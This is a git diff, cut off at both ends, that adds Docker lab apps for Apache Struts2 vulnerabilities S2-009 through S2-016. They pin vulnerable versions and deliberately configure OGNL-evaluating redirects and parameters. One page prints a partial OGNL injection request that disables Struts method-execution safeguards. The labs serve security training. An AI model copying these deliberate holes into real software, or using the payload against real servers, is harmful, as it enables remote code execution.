8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-009/Dockerfile_local b/struts2-s2-009/Dockerfile_local new file mode 100644 index 0000000..522acd8 --- /dev/null +++ b/struts2-s2-009/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-009.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-009/docker-compose.yaml b/struts2-s2-009/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-009/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-009/pom.xml b/struts2-s2-009/pom.xml new file mode 100644 index 0000000..2f19ded --- /dev/null +++ b/struts2-s2-009/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-009 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.1.1 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-009 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-009/src/main/java/com/myapp/action/Example5Action.java b/struts2-s2-009/src/main/java/com/myapp/action/Example5Action.java new file mode 100644 index 0000000..62f0248 --- /dev/null +++ b/struts2-s2-009/src/main/java/com/myapp/action/Example5Action.java @@ -0,0 +1,30 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class Example5Action extends ActionSupport { + + private String name; + private Integer age; + + @Override + public String execute() { + return SUCCESS; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public Integer getAge() { + return age; + } + + public void setAge(Integer age) { + this.age = age; + } +} diff --git a/struts2-s2-009/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-009/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-009/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-009/src/main/resources/log4j.properties b/struts2-s2-009/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-009/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-009/src/main/resources/struts.xml b/struts2-s2-009/src/main/resources/struts.xml new file mode 100644 index 0000000..44145d7 --- /dev/null +++ b/struts2-s2-009/src/main/resources/struts.xml @@ -0,0 +1,16 @@ + + + + + + + + + + /WEB-INF/content/login.jsp + /WEB-INF/content/login.jsp + + + diff --git a/struts2-s2-009/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-009/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..3c3d3dc --- /dev/null +++ b/struts2-s2-009/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,31 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-009 靶场 + + + +
+
+

Struts2 S2-009 演示靶场

+

这个模块用来演示 S2-009 / CVE-2011-3923。核心是先把表达式放进正常参数 name,再用 z[(name)('meh')]=true 触发它作为 OGNL 二次求值。

+
+
+

推荐入口

+

打开示例页 /example5.action

+
GET /example5.action?age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),...)(meh)&z[(name)('meh')]=true
+

推荐先访问示例页,再点击页面里的重放按钮。

+
+
+ + diff --git a/struts2-s2-009/src/main/webapp/WEB-INF/content/login.jsp b/struts2-s2-009/src/main/webapp/WEB-INF/content/login.jsp new file mode 100644 index 0000000..0821a1d --- /dev/null +++ b/struts2-s2-009/src/main/webapp/WEB-INF/content/login.jsp @@ -0,0 +1,89 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-009 示例页 + + + +
+
+

Struts2 S2-009 示例页

+

把 OGNL 表达式放进 name 参数,再用额外的 z[(name)('meh')] 重新执行。

+
+ + + +
+
+ + +
+
+ + +
+

+    
+
+

说明

+
    +
  1. name 的值先进入 action 上下文。
  2. +
  3. 再通过 z[(name)('meh')]=true 把它作为表达式执行。
  4. +
  5. 如果漏洞命中,命令输出会直接写回响应。
  6. +
+
+
+ + + diff --git a/struts2-s2-009/src/main/webapp/WEB-INF/web.xml b/struts2-s2-009/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..db4e103 --- /dev/null +++ b/struts2-s2-009/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-009 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-009/src/main/webapp/index.jsp b/struts2-s2-009/src/main/webapp/index.jsp new file mode 100644 index 0000000..fc995fb --- /dev/null +++ b/struts2-s2-009/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-012/Dockerfile b/struts2-s2-012/Dockerfile new file mode 100644 index 0000000..d96f036 --- /dev/null +++ b/struts2-s2-012/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-012 +WORKDIR /opt/struts2-s2-012 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-012/target/struts2-s2-012.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-012/Dockerfile_local b/struts2-s2-012/Dockerfile_local new file mode 100644 index 0000000..ec47f51 --- /dev/null +++ b/struts2-s2-012/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-012.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-012/docker-compose.yaml b/struts2-s2-012/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-012/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-012/pom.xml b/struts2-s2-012/pom.xml new file mode 100644 index 0000000..588ba63 --- /dev/null +++ b/struts2-s2-012/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-012 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.13 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-012 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-012/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-012/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..4b36e22 --- /dev/null +++ b/struts2-s2-012/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + private String name; + + @Override + public String execute() { + return SUCCESS; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } +} diff --git a/struts2-s2-012/src/main/java/com/myapp/action/UserAction.java b/struts2-s2-012/src/main/java/com/myapp/action/UserAction.java new file mode 100644 index 0000000..c3f97ec --- /dev/null +++ b/struts2-s2-012/src/main/java/com/myapp/action/UserAction.java @@ -0,0 +1,33 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class UserAction extends ActionSupport { + + private String name; + private String flow; + + @Override + public String execute() { + if ("redirect".equals(flow)) { + return "redirect"; + } + return SUCCESS; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getFlow() { + return flow; + } + + public void setFlow(String flow) { + this.flow = flow; + } +} diff --git a/struts2-s2-012/src/main/resources/log4j.properties b/struts2-s2-012/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-012/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-012/src/main/resources/struts.xml b/struts2-s2-012/src/main/resources/struts.xml new file mode 100644 index 0000000..8aeae0b --- /dev/null +++ b/struts2-s2-012/src/main/resources/struts.xml @@ -0,0 +1,20 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + /WEB-INF/content/success.jsp + /index.action?name=${name} + + + diff --git a/struts2-s2-012/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-012/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..ad45929 --- /dev/null +++ b/struts2-s2-012/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,61 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-012 靶场 + + + +
+
+

Struts2 S2-012 演示靶场

+

这个模块用来演示 S2-012 / CVE-2013-1965。漏洞点在于 redirect result 里使用了 ${name},当 action 返回 redirect 时,Struts2 会在拼接跳转 URL 的过程中解析 name 的值。

+
+ + +
+
+ + +
+ + + + + +

当前 name:

+
+
+ + + diff --git a/struts2-s2-012/src/main/webapp/WEB-INF/content/success.jsp b/struts2-s2-012/src/main/webapp/WEB-INF/content/success.jsp new file mode 100644 index 0000000..c52d60c --- /dev/null +++ b/struts2-s2-012/src/main/webapp/WEB-INF/content/success.jsp @@ -0,0 +1,12 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + S2-012 正常结果 + + +

正常返回:

+ + diff --git a/struts2-s2-012/src/main/webapp/WEB-INF/web.xml b/struts2-s2-012/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..7d83242 --- /dev/null +++ b/struts2-s2-012/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-012 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-012/src/main/webapp/index.jsp b/struts2-s2-012/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-012/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-013/Dockerfile b/struts2-s2-013/Dockerfile new file mode 100644 index 0000000..1e0efe7 --- /dev/null +++ b/struts2-s2-013/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-013 +WORKDIR /opt/struts2-s2-013 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-013/target/struts2-s2-013.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-013/Dockerfile_local b/struts2-s2-013/Dockerfile_local new file mode 100644 index 0000000..25f7f0b --- /dev/null +++ b/struts2-s2-013/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-013.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-013/docker-compose.yaml b/struts2-s2-013/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-013/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-013/pom.xml b/struts2-s2-013/pom.xml new file mode 100644 index 0000000..0e1424b --- /dev/null +++ b/struts2-s2-013/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-013 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.14.1 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-013 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-013/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-013/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-013/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-013/src/main/java/com/myapp/action/LinkAction.java b/struts2-s2-013/src/main/java/com/myapp/action/LinkAction.java new file mode 100644 index 0000000..80c34a6 --- /dev/null +++ b/struts2-s2-013/src/main/java/com/myapp/action/LinkAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class LinkAction extends ActionSupport { + + private String a; + + @Override + public String execute() { + return SUCCESS; + } + + public String getA() { + return a; + } + + public void setA(String a) { + this.a = a; + } +} diff --git a/struts2-s2-013/src/main/resources/log4j.properties b/struts2-s2-013/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-013/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-013/src/main/resources/struts.xml b/struts2-s2-013/src/main/resources/struts.xml new file mode 100644 index 0000000..25f8234 --- /dev/null +++ b/struts2-s2-013/src/main/resources/struts.xml @@ -0,0 +1,15 @@ + + + + + + + + + + /WEB-INF/content/login.jsp + + + diff --git a/struts2-s2-013/src/main/webapp/WEB-INF/content/login.jsp b/struts2-s2-013/src/main/webapp/WEB-INF/content/login.jsp new file mode 100644 index 0000000..a397f92 --- /dev/null +++ b/struts2-s2-013/src/main/webapp/WEB-INF/content/login.jsp @@ -0,0 +1,75 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-013 靶场 + + + +
+
+

Struts2 S2-013 演示靶场

+

这里使用 <s:a includeParams="all"><s:url includeParams="all">。当你把恶意参数放进请求中,Struts 在拼接这些链接时会对参数值做 OGNL 渲染。

+
+ + + +
+
+ + +
+

+        

重新加载当前页面(includeParams=all)

+ +
+
+
+ + + diff --git a/struts2-s2-013/src/main/webapp/WEB-INF/web.xml b/struts2-s2-013/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..62eeba5 --- /dev/null +++ b/struts2-s2-013/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-013 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-013/src/main/webapp/index.jsp b/struts2-s2-013/src/main/webapp/index.jsp new file mode 100644 index 0000000..b6ee8bd --- /dev/null +++ b/struts2-s2-013/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-015/Dockerfile b/struts2-s2-015/Dockerfile new file mode 100644 index 0000000..fdab004 --- /dev/null +++ b/struts2-s2-015/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-015 +WORKDIR /opt/struts2-s2-015 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-015/target/struts2-s2-015.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-015/Dockerfile_local b/struts2-s2-015/Dockerfile_local new file mode 100644 index 0000000..db14e19 --- /dev/null +++ b/struts2-s2-015/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-015.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-015/docker-compose.yaml b/struts2-s2-015/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-015/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-015/pom.xml b/struts2-s2-015/pom.xml new file mode 100644 index 0000000..cac9b70 --- /dev/null +++ b/struts2-s2-015/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-015 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.14.2 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-015 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-015/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-015/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-015/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-015/src/main/java/com/myapp/action/PageAction.java b/struts2-s2-015/src/main/java/com/myapp/action/PageAction.java new file mode 100644 index 0000000..79bf9c3 --- /dev/null +++ b/struts2-s2-015/src/main/java/com/myapp/action/PageAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class PageAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-015/src/main/java/com/myapp/action/ParamAction.java b/struts2-s2-015/src/main/java/com/myapp/action/ParamAction.java new file mode 100644 index 0000000..9897ade --- /dev/null +++ b/struts2-s2-015/src/main/java/com/myapp/action/ParamAction.java @@ -0,0 +1,21 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class ParamAction extends ActionSupport { + + private String message; + + @Override + public String execute() { + return SUCCESS; + } + + public String getMessage() { + return message; + } + + public void setMessage(String message) { + this.message = message; + } +} diff --git a/struts2-s2-015/src/main/resources/log4j.properties b/struts2-s2-015/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-015/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-015/src/main/resources/struts.xml b/struts2-s2-015/src/main/resources/struts.xml new file mode 100644 index 0000000..b0b49cb --- /dev/null +++ b/struts2-s2-015/src/main/resources/struts.xml @@ -0,0 +1,26 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + + 305 + ${message} + + + + + /WEB-INF/content/{1}.jsp + + + diff --git a/struts2-s2-015/src/main/webapp/WEB-INF/content/help.jsp b/struts2-s2-015/src/main/webapp/WEB-INF/content/help.jsp new file mode 100644 index 0000000..b75965f --- /dev/null +++ b/struts2-s2-015/src/main/webapp/WEB-INF/content/help.jsp @@ -0,0 +1,11 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + S2-015 Help + + +

这里是 S2-015 的正常帮助页。

+ + diff --git a/struts2-s2-015/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-015/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..39316c6 --- /dev/null +++ b/struts2-s2-015/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,75 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-015 靶场 + + + +
+
+

Struts2 S2-015 演示靶场

+

这个模块同时包含文档里提到的两种 S2-015 场景:通配符结果映射 /{1}.jsp,以及 result 参数中使用 ${message} 的二次引用执行。

+
+ + +
+
+ + +
+
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-015/src/main/webapp/WEB-INF/content/success.jsp b/struts2-s2-015/src/main/webapp/WEB-INF/content/success.jsp new file mode 100644 index 0000000..4b6edda --- /dev/null +++ b/struts2-s2-015/src/main/webapp/WEB-INF/content/success.jsp @@ -0,0 +1,11 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + S2-015 Success + + +

S2-015 默认成功页。

+ + diff --git a/struts2-s2-015/src/main/webapp/WEB-INF/web.xml b/struts2-s2-015/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..53053df --- /dev/null +++ b/struts2-s2-015/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-015 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-015/src/main/webapp/index.jsp b/struts2-s2-015/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-015/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-016/Dockerfile b/struts2-s2-016/Dockerfile new file mode 100644 index 0000000..ad8fc45 --- /dev/null +++ b/struts2-s2-016/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-016 +WORKDIR /opt/struts2-s2-016 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-016/target/struts2-s2-016.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-016/Dockerfile_local b/struts2-s2-016/Dockerfile_local new file mode 100644 index 0000000..7023cb6 --- /dev/null +++ b/struts2-s2-016/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-016.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-016/docker-compose.yaml b/struts2-s2-016/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-016/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-016/pom.xml b/struts2-s2-016/pom.xml new file mode 100644 index 0000000..9da545d --- /dev/null +++ b/struts2-s2-016/pom.xml @@ -0,0 +1,66 @@ + + + 4.0.0 + + org.example + struts2-s2-016 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.3.15 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-016 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-016/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-016/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-016/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-016/src/main/resources/log4j.properties b/struts2-s2-016/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-016/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-016/src/main/resources/struts.xml b/struts2-s2-016/src/main/resources/struts.xml new file mode 100644 index 0000000..d89258e --- /dev/null +++ b/struts2-s2-016/src/main/resources/struts.xml @@ -0,0 +1,15 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + diff --git a/struts2-s2-016/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-016/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..6d4bd19 --- /dev/null +++ b/struts2-s2-016/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,72 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-016 靶场 + + + +
+
+

Struts2 S2-016 演示靶场

+

这个模块演示 action:redirect:redirectAction: 前缀在 DefaultActionMapper 中被当作导航参数处理时,后半段 OGNL 被执行的问题。

+
+ + + +
+
+ + +
+
+ + +
+

+    
+
+ + + diff --git a/struts2-s2-016/src/main/webapp/WEB-INF/web.xml b/struts2-s2-016/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..e70d575 --- /dev/null +++ b/struts2-s2-016/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-016 + + + struts2 + org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-016/src/main/webapp/index.jsp b/struts2-s2-016/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-016/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-019/Dockerfile b/struts2-s2-019/Dockerfile new file mode 100644 index 0000000..7d0aba1 --- /dev/null +++ b/struts2-s2-019/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-019 +WORKDIR /opt/struts2-s2-019 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-019/target/struts2-s2-019.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-019/Dockerfile_local b/struts2-s2-019/Dockerfile_local new file mode 100644 index 0000000..28e597a --- /dev/null +++ b/struts2-s2-019/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-019.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-019/docker-compose.yaml b/struts2-s2-019/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-019/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-019/pom.xml b/struts2-s2-019/pom.xml new file mode 100644 index 0000000..f380acd --- /dev/null +++ b/struts2-s2-019/pom.xml @@ -0,0 +1,66 @@ + + + 